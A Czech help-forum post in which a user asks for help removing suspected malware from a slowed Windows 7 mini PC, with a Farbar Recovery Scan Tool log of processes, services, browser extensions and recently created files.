VIRY.CZ

Dostal se mi do ruky mini PC od Zotac, ze prej je po downgradu z Win8 na Win 7 zpomaleny. Kdyz jsem se kouknul do msconfig na procesy po spusteni, vykoukly na me podezreliny jako mncijinSrv, mncwwsksrv, MSStp, ve sluzbach KMseldi. Jako antivir ja pouzit MS Essential. Byl bych moc vdecny za pomoc pri odstraneni te haveti.


Tady je log z FRST:
Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 18-02-2015 01
Ran by Win7 (administrator) on ZBOX on 20-02-2015 00:23:20
Running from C:\Users\Win7\Desktop
Loaded Profiles: Win7 (Available profiles: Win7)
Platform: Windows 7 Ultimate Service Pack 1 (X64) OS Language: Čeština (Česká republika)
Internet Explorer Version 11 (Default browser: Chrome)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/33 ... scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(SEIKO EPSON CORPORATION) C:\Program Files\EPSON\portcommunicationservice\DeviceControlLog.exe
(SEIKO EPSON CORPORATION) C:\Program Files\EPSON\portcommunicationservice\PCSVC.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Hp\Common\HPSupportSolutionsFrameworkService.exe
(Intel Corporation) C:\Windows\System32\igfxtray.exe
(Intel Corporation) C:\Windows\System32\hkcmd.exe
(Intel Corporation) C:\Windows\System32\igfxpers.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\NisSrv.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
(Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe


==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1332296 2015-01-30] (Microsoft Corporation)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
CHR HKLM\SOFTWARE\Policies\Google: Policy restriction <======= ATTENTION

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKU\S-1-5-21-3155330713-2898948138-332163686-1000\Software\Microsoft\Internet Explorer\Main,Start Page = https://www.seznam.cz/
BHO: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files\Microsoft Office\Office15\OCHelper.dll (Microsoft Corporation)
BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office15\URLREDIR.DLL (Microsoft Corporation)
BHO: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files\Microsoft Office\Office15\GROOVEEX.DLL (Microsoft Corporation)
BHO-x32: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\Office15\OCHelper.dll (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_31\bin\ssv.dll (Oracle Corporation)
BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office15\URLREDIR.DLL (Microsoft Corporation)
BHO-x32: Microsoft SkyDrive Pro Browser Helper -> {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF} -> C:\Program Files (x86)\Microsoft Office\Office15\GROOVEEX.DLL (Microsoft Corporation)
BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_31\bin\jp2ssv.dll (Oracle Corporation)
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} http://fpdownload.macromedia.com/pub/sh ... tor/sw.cab
Tcpip\Parameters: [DhcpNameServer] 10.0.0.138

FireFox:
========
FF ProfilePath: C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default
FF Homepage: https://www.seznam.cz/
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_16_0_0_305.dll ()
FF Plugin: @microsoft.com/GENUINE -> disabled No File
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_16_0_0_305.dll ()
FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1215155.dll (Adobe Systems, Inc.)
FF Plugin-x32: @java.com/DTPlugin,version=11.31.2 -> C:\Program Files (x86)\Java\jre1.8.0_31\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.31.2 -> C:\Program Files (x86)\Java\jre1.8.0_31\bin\plugin2\npjp2.dll (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled No File
FF Plugin-x32: @microsoft.com/Lync,version=15.0 -> C:\Program Files (x86)\Mozilla Firefox\plugins\npmeetingjoinpluginoc.dll (Microsoft Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~3\Office15\NPSPWRAP.DLL (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll (Microsoft Corporation)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll (Adobe Systems Inc.)
FF Extension: PriceLeseS - C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default\Extensions\jqy@r4MdA7c.edu [2015-01-12]
FF Extension: YoutubeAddBBLocke - C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default\Extensions\WV@hBxv5.edu [2015-01-12]
FF Extension: 98249f04e000489bbad40d6da2a86141 - C:\Users\Win7\AppData\Roaming\Mozilla\Firefox\Profiles\l9wezdfa.default\Extensions\{98249f04-e000-489b-bad4-0d6da2a86141} [2015-01-16]
FF Extension: No Name - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd} [Not Found]

Chrome:
=======
CHR StartupUrls: Default -> "hxxp://www.seznam.cz/"
CHR Profile: C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Google Slides) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-01-28]
CHR Extension: (Google Docs) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-01-28]
CHR Extension: (Google Drive) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-01-28]
CHR Extension: (YouTube) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-01-28]
CHR Extension: (Google Search) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-01-28]
CHR Extension: (Google Sheets) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-01-28]
CHR Extension: (Google Wallet) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2015-01-28]
CHR Extension: (Gmail) - C:\Users\Win7\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-01-28]

==================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 EPSON_Device_Control_Log_Service; C:\Program Files\epson\portcommunicationservice\DeviceControlLog.exe [398848 2014-08-22] (SEIKO EPSON CORPORATION) [File not signed]
R2 EPSON_Port_Communication_Service; C:\Program Files\epson\portcommunicationservice\PCSVC.exe [556544 2014-08-22] (SEIKO EPSON CORPORATION) [File not signed]
R2 HPSupportSolutionsFrameworkService; C:\Program Files (x86)\Hp\Common\HPSupportSolutionsFrameworkService.exe [89864 2014-12-11] (Hewlett-Packard Company)
R2 MsMpSvc; c:\Program Files\Microsoft Security Client\MsMpEng.exe [23784 2015-01-30] (Microsoft Corporation)
R3 NisSrv; c:\Program Files\Microsoft Security Client\NisSrv.exe [366512 2015-01-30] (Microsoft Corporation)
S4 Service KMSELDI; C:\Program Files\KMSpico\Service_KMS.exe [686592 2013-11-12] () [File not signed]
S3 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

S2 EPSON_PCS_Parallel_Port_Driver; C:\Windows\system32\DRIVERS\pcslpt.sys [21640 2014-08-22] (SEIKO EPSON CORPORATION)
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [274696 2014-11-15] (Microsoft Corporation)
R2 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [124560 2014-11-15] (Microsoft Corporation)
R3 SmbDrvI; C:\Windows\System32\DRIVERS\Smb_driver_Intel.sys [31984 2013-07-30] (Synaptics Incorporated)
U5 TMUSB; C:\Windows\System32\DRIVERS\TMUSB64.SYS [63096 2015-01-13] (Seiko Epson Corporation)
S3 VGPU; System32\drivers\rdvgkmd.sys [X]

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)


==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-02-20 00:23 - 2015-02-20 00:24 - 00010148 _____ () C:\Users\Win7\Desktop\FRST.txt
2015-02-20 00:23 - 2015-02-20 00:23 - 00000000 ____D () C:\FRST
2015-02-20 00:21 - 2015-02-20 00:22 - 02086912 _____ (Farbar) C:\Users\Win7\Desktop\FRST64.exe
2015-02-18 03:22 - 2015-01-09 04:14 - 00950272 _____ (Microsoft Corporation) C:\Windows\system32\perftrack.dll
2015-02-18 03:22 - 2015-01-09 04:14 - 00091136 _____ (Microsoft Corporation) C:\Windows\system32\wdi.dll
2015-02-18 03:22 - 2015-01-09 04:14 - 00029696 _____ (Microsoft Corporation) C:\Windows\system32\powertracker.dll
2015-02-18 03:22 - 2015-01-09 03:48 - 00076800 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdi.dll
2015-02-18 03:01 - 2015-02-18 03:01 - 00284680 _____ () C:\Windows\Minidump\021815-22807-01.dmp
2015-02-17 03:03 - 2015-02-17 03:04 - 00282240 _____ () C:\Windows\Minidump\021715-25568-01.dmp
2015-02-17 03:01 - 2015-02-17 03:01 - 00284352 _____ () C:\Windows\Minidump\021715-24320-01.dmp
2015-02-16 15:55 - 2015-01-23 05:42 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
2015-02-16 15:55 - 2015-01-23 05:41 - 06041600 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2015-02-16 15:55 - 2015-01-23 04:43 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
2015-02-16 15:55 - 2015-01-23 04:17 - 04300800 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2015-02-15 03:02 - 2015-02-15 03:02 - 00283096 _____ () C:\Windows\Minidump\021515-24273-01.dmp
2015-02-14 10:04 - 2015-02-14 10:04 - 00000000 ____D () C:\Users\Default\AppData\Local\Microsoft Help
2015-02-14 10:04 - 2015-02-14 10:04 - 00000000 ____D () C:\Users\Default User\AppData\Local\Microsoft Help
2015-02-13 10:59 - 2015-01-14 06:47 - 00389808 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2015-02-13 10:59 - 2015-01-14 06:09 - 00342712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2015-02-13 10:59 - 2015-01-12 04:05 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
2015-02-13 10:59 - 2015-01-12 04:05 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
2015-02-13 10:59 - 2015-01-12 03:48 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
2015-02-13 10:59 - 2015-01-12 03:39 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
2015-02-13 10:59 - 2015-01-12 03:34 - 00114688 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2015-02-13 10:59 - 2015-01-12 03:25 - 19740160 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2015-02-13 10:59 - 2015-01-12 03:25 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
2015-02-13 10:59 - 2015-01-12 03:21 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
2015-02-13 10:59 - 2015-01-12 03:13 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
2015-02-13 10:59 - 2015-01-12 03:07 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
2015-02-13 10:59 - 2015-01-12 03:07 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
2015-02-13 10:59 - 2015-01-12 03:05 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2015-02-13 10:59 - 2015-01-12 03:04 - 00316928 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2015-02-13 10:59 - 2015-01-12 03:02 - 02277888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2015-02-13 10:59 - 2015-01-12 03:00 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
2015-02-13 10:59 - 2015-01-12 02:59 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
2015-02-13 10:59 - 2015-01-12 02:57 - 00478208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
2015-02-13 10:59 - 2015-01-12 02:55 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2015-02-13 10:59 - 2015-01-12 02:48 - 00801280 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2015-02-13 10:59 - 2015-01-12 02:48 - 00718848 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2015-02-13 10:59 - 2015-01-12 02:45 - 00418304 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
2015-02-13 10:59 - 2015-01-12 02:40 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
2015-02-13 10:59 - 2015-01-12 02:35 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2015-02-13 10:59 - 2015-01-12 02:33 - 00285696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2015-02-13 10:59 - 2015-01-12 02:23 - 02052608 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2015-02-13 10:59 - 2015-01-12 02:23 - 00688640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2015-02-13 10:59 - 2015-01-12 02:14 - 12829184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2015-02-13 10:59 - 2015-01-12 02:14 - 01548288 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2015-02-13 10:59 - 2015-01-12 01:56 - 01307136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2015-02-13 10:59 - 2015-01-12 01:55 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2015-02-13 10:58 - 2015-01-12 04:09 - 25056256 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2015-02-13 10:58 - 2015-01-12 03:49 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
2015-02-13 10:58 - 2015-01-12 03:48 - 02885632 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2015-02-13 10:58 - 2015-01-12 03:48 - 00584192 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2015-02-13 10:58 - 2015-01-12 03:47 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2015-02-13 10:58 - 2015-01-12 03:40 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
2015-02-13 10:58 - 2015-01-12 03:36 - 00633856 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
2015-02-13 10:58 - 2015-01-12 03:34 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2015-02-13 10:58 - 2015-01-12 03:21 - 00490496 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
2015-02-13 10:58 - 2015-01-12 03:08 - 00503296 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2015-02-13 10:58 - 2015-01-12 03:08 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
2015-02-13 10:58 - 2015-01-12 03:07 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2015-02-13 10:58 - 2015-01-12 02:46 - 02125824 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2015-02-13 10:58 - 2015-01-12 02:46 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
2015-02-13 10:58 - 2015-01-12 02:43 - 14401024 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2015-02-13 10:58 - 2015-01-12 02:36 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
2015-02-13 10:58 - 2015-01-12 02:27 - 02358272 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2015-02-13 10:58 - 2015-01-12 02:22 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
2015-02-13 10:58 - 2015-01-12 02:02 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2015-02-13 10:58 - 2015-01-12 02:00 - 01888256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2015-02-13 10:56 - 2015-02-04 04:16 - 00894976 _____ (Microsoft Corporation) C:\Windows\system32\appraiser.dll
2015-02-13 10:56 - 2015-02-04 04:16 - 00762368 _____ (Microsoft Corporation) C:\Windows\system32\invagent.dll
2015-02-13 10:56 - 2015-02-04 04:16 - 00609280 _____ (Microsoft Corporation) C:\Windows\system32\generaltel.dll
2015-02-13 10:56 - 2015-02-04 04:16 - 00414720 _____ (Microsoft Corporation) C:\Windows\system32\devinv.dll
2015-02-13 10:56 - 2015-02-04 04:16 - 00227328 _____ (Microsoft Corporation) C:\Windows\system32\aepdu.dll
2015-02-13 10:56 - 2015-02-04 04:16 - 00192000 _____ (Microsoft Corporation) C:\Windows\system32\aepic.dll
2015-02-13 10:56 - 2015-02-04 04:13 - 01098752 _____ (Microsoft Corporation) C:\Windows\system32\aeinv.dll
2015-02-13 10:56 - 2015-01-28 00:36 - 01239720 _____ (Microsoft Corporation) C:\Windows\system32\aitstatic.exe
2015-02-13 10:56 - 2015-01-10 07:48 - 00728064 _____ (Microsoft Corporation) C:\Windows\system32\kerberos.dll
2015-02-13 10:56 - 2015-01-10 07:48 - 00341504 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2015-02-13 10:56 - 2015-01-10 07:48 - 00314880 _____ (Microsoft Corporation) C:\Windows\system32\msv1_0.dll
2015-02-13 10:56 - 2015-01-10 07:48 - 00309760 _____ (Microsoft Corporation) C:\Windows\system32\ncrypt.dll
2015-02-13 10:56 - 2015-01-10 07:48 - 00210944 _____ (Microsoft Corporation) C:\Windows\system32\wdigest.dll
2015-02-13 10:56 - 2015-01-10 07:48 - 00086528 _____ (Microsoft Corporation) C:\Windows\system32\TSpkg.dll
2015-02-13 10:56 - 2015-01-10 07:48 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00550912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00259584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00248832 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00221184 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
2015-02-13 10:56 - 2015-01-10 07:27 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
2015-02-13 10:54 - 2015-01-15 09:14 - 00155072 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecpkg.sys
2015-02-13 10:54 - 2015-01-15 09:14 - 00095680 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ksecdd.sys
2015-02-13 10:54 - 2015-01-15 09:09 - 01461760 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2015-02-13 10:54 - 2015-01-15 09:09 - 00136192 _____ (Microsoft Corporation) C:\Windows\system32\sspicli.dll
2015-02-13 10:54 - 2015-01-15 09:09 - 00031232 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
2015-02-13 10:54 - 2015-01-15 09:09 - 00029184 _____ (Microsoft Corporation) C:\Windows\system32\sspisrv.dll
2015-02-13 10:54 - 2015-01-15 09:09 - 00028160 _____ (Microsoft Corporation) C:\Windows\system32\secur32.dll
2015-02-13 10:54 - 2015-01-15 09:08 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
2015-02-13 10:54 - 2015-01-15 09:06 - 00146432 _____ (Microsoft Corporation) C:\Windows\system32\msaudite.dll
2015-02-13 10:54 - 2015-01-15 09:06 - 00060416 _____ (Microsoft Corporation) C:\Windows\system32\msobjs.dll
2015-02-13 10:54 - 2015-01-15 09:04 - 00686080 _____ (Microsoft Corporation) C:\Windows\system32\adtschema.dll
2015-02-13 10:54 - 2015-01-15 08:42 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
2015-02-13 10:54 - 2015-01-15 08:42 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
2015-02-13 10:54 - 2015-01-15 08:41 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
2015-02-13 10:54 - 2015-01-15 08:39 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
2015-02-13 10:54 - 2015-01-15 08:39 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2015-02-13 10:54 - 2015-01-15 08:37 - 00686080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2015-02-13 10:54 - 2015-01-15 05:22 - 00458824 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\cng.sys
2015-02-13 10:54 - 2015-01-13 04:10 - 01424384 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll
2015-02-13 10:54 - 2015-01-13 03:49 - 01230336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll
2015-02-13 10:53 - 2014-12-12 06:31 - 01480192 _____ (Microsoft Corporation) C:\Windows\system32\crypt32.dll
2015-02-13 10:53 - 2014-12-12 06:07 - 01174528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\crypt32.dll
2015-02-13 10:53 - 2014-07-07 03:07 - 00229376 _____ (Microsoft Corporation) C:\Windows\system32\wintrust.dll
2015-02-13 10:53 - 2014-07-07 03:06 - 00187904 _____ (Microsoft Corporation) C:\Windows\system32\cryptsvc.dll
2015-02-13 10:53 - 2014-07-07 02:40 - 00179200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wintrust.dll
2015-02-13 10:53 - 2014-07-07 02:40 - 00143872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cryptsvc.dll
2015-02-13 10:48 - 2014-11-26 04:53 - 00861696 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2015-02-13 10:48 - 2014-11-26 04:32 - 00571904 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2015-02-13 10:43 - 2014-12-08 04:09 - 00406528 _____ (Microsoft Corporation) C:\Windows\system32\scesrv.dll
2015-02-13 10:43 - 2014-12-08 03:46 - 00308224 _____ (Microsoft Corporation) C:\Windows\SysWOW64\scesrv.dll
2015-02-13 10:43 - 2014-10-04 03:10 - 03722752 _____ (Microsoft Corporation) C:\Windows\system32\mstscax.dll
2015-02-13 10:43 - 2014-10-04 02:42 - 03221504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mstscax.dll
2015-02-13 10:43 - 2014-10-04 02:42 - 00131584 _____ (Microsoft Corporation) C:\Windows\SysWOW64\aaclient.dll
2015-02-13 10:41 - 2015-01-14 07:09 - 05554112 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2015-02-13 10:41 - 2015-01-14 07:05 - 00503808 _____ (Microsoft Corporation) C:\Windows\system32\srcore.dll
2015-02-13 10:41 - 2015-01-14 07:05 - 00050176 _____ (Microsoft Corporation) C:\Windows\system32\srclient.dll
2015-02-13 10:41 - 2015-01-14 07:04 - 00296960 _____ (Microsoft Corporation) C:\Windows\system32\rstrui.exe
2015-02-13 10:41 - 2015-01-14 06:44 - 03972544 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntkrnlpa.exe
2015-02-13 10:41 - 2015-01-14 06:44 - 03917760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntoskrnl.exe
2015-02-13 10:41 - 2015-01-14 06:41 - 00043008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\srclient.dll
2015-02-13 10:40 - 2015-01-09 03:03 - 03201536 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2015-02-10 10:31 - 2015-02-10 10:31 - 00014918 _____ () C:\Users\Win7\Downloads\54106762.html
2015-02-09 16:13 - 2015-02-09 16:13 - 05070512 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\FlashPlayerInstaller.exe
2015-02-02 14:41 - 2015-02-02 14:41 - 00000292 _____ () C:\Users\Win7\Downloads\ATT00001 (3)
2015-02-02 14:40 - 2015-02-02 14:40 - 00000292 _____ () C:\Users\Win7\Downloads\ATT00001 (2)
2015-02-02 14:38 - 2015-02-02 14:38 - 00000292 _____ () C:\Users\Win7\Downloads\ATT00001 (1)
2015-02-02 14:37 - 2015-02-02 14:37 - 00000292 _____ () C:\Users\Win7\Downloads\ATT00001
2015-01-28 18:09 - 2015-01-28 18:09 - 00002255 _____ () C:\Users\Public\Desktop\Google Chrome.lnk
2015-01-28 18:09 - 2015-01-28 18:09 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome
2015-01-28 18:07 - 2015-02-20 00:12 - 00000948 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job
2015-01-28 18:07 - 2015-02-19 23:51 - 00000944 _____ () C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job
2015-01-28 18:07 - 2015-01-28 18:09 - 00000000 ____D () C:\Users\Win7\AppData\Local\Google
2015-01-28 18:07 - 2015-01-28 18:09 - 00000000 ____D () C:\Program Files (x86)\Google
2015-01-28 18:07 - 2015-01-28 18:07 - 00003944 _____ () C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA
2015-01-28 18:07 - 2015-01-28 18:07 - 00003692 _____ () C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore
2015-01-28 18:06 - 2015-01-28 18:06 - 00880784 _____ (Google Inc.) C:\Users\Win7\Downloads\ChromeSetup.exe
